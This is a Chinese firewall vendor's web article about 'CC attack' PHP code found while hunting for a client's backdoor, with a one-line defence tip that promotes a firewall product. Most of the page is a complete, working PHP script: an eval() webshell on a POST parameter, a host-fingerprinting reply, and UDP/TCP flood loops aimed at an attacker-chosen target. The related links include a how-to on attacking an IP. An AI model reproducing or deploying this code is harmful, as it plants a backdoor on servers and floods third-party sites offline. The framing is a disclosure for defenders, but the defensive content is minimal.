English
 电子信箱
 加入收藏

  威盾防火墙 >> 新闻中心 >> 威盾新闻 >> php cc攻击代码与防范方法

 

php cc攻击代码与防范方法

威盾防火墙 2014-11-25

 
今天把客户查找后门的时候发现的代码,特分享下,看到这样的代码就是黑客用来攻击别人访问,不断访问指定网站,导致网站无法访问,我们的网站就是帮凶了,同时我们自己的网站或服务器也会无法访问,所以一定要注意防范。
cc攻击代码,支持udp
复制代码代码如下:

<?php 
eval($_POST[Chr(90)]); 
set_time_limit(86400); 
ignore_user_abort(True); 
$packets = 0; 
$http = $_GET['http']; 
$rand = $_GET['exit']; 
$exec_time = $_GET['time']; 
if (StrLen($http)==0 or StrLen($rand)==0 or StrLen($exec_time)==0) 
{ 
if(StrLen($_GET['rat'])<>0) 
{ 
echo $_GET['rat'].$_SERVER["HTTP_HOST"]."|".GetHostByName($_SERVER['SERVER_NAME'])."|".php_uname()."|".$_SERVER['SERVER_SOFTWARE'].$_GET['rat']; 
exit; 
} 
echo "Php 2012 Terminator"; 
exit; 
} 
for($i=0;$i<65535;$i++) 
{ 
$out .= "X"; 
} 
//Udp1-fsockopen Udp2 pfsockopen Tcp3 CC.center 
$max_time = time()+$exec_time; 
if($rand==53) 
while(1) 
{ 
$packets++; 
if(time() > $max_time) 
{ 
break; 
} 
$fp = fsockopen("udp://$http", $rand, $errno, $errstr, 5); 
if($fp) 
{ 
fwrite($fp, $out); 
fclose($fp); 
} 
} 
else 
if($rand==500) 
while(1) 
{ 
$packets++; 
if(time() > $max_time){ 
break; 
} 
$fp = pfsockopen("udp://$http", $rand, $errno, $errstr, 5); 
if($fp) 
{ 
fwrite($fp, $out); 
fclose($fp); 
} 
} 
else 
while(1) 
{ 
$packets++; 
if(time() > $max_time){ 
break; 
} 
$fp = pfsockopen("tcp://$http", $rand, $errno, $errstr, 5); 
if($fp) 
{ 
fwrite($fp, $out); 
fclose($fp); 
} 
} 
?> 


对于cc攻击的防范,如果是动态页面,我们可以判断时间,如果是静态的网站我们就需要服务器上安装防cc攻击的软件了, 一般冰盾DDOS防火墙还是不错的。

相关内容: 最新内容:
网站如何防护CC攻击 和DDOS流量攻击[2014-11-25]
防御Cc攻击的Php代码[2014-11-25]
Discuz!x2的防CC攻击功能分析[2014-11-25]
基于js的CC攻击实现与防御[2014-11-25]
怎么用CC攻击个人IP 攻击网站是G:HTTP://网站 攻击IP要怎么填[2014-11-25]
学习“CC攻击”[2014-11-25]
网站如何防护CC攻击 和DDOS流量攻击[2014-11-25]
防御Cc攻击的Php代码[2014-11-25]
Discuz!x2的防CC攻击功能分析[2014-11-25]
基于js的CC攻击实现与防御[2014-11-25]
怎么用CC攻击个人IP 攻击网站是G:HTTP://网站 攻击IP要怎么填[2014-11-25]
学习“CC攻击”[2014-11-25]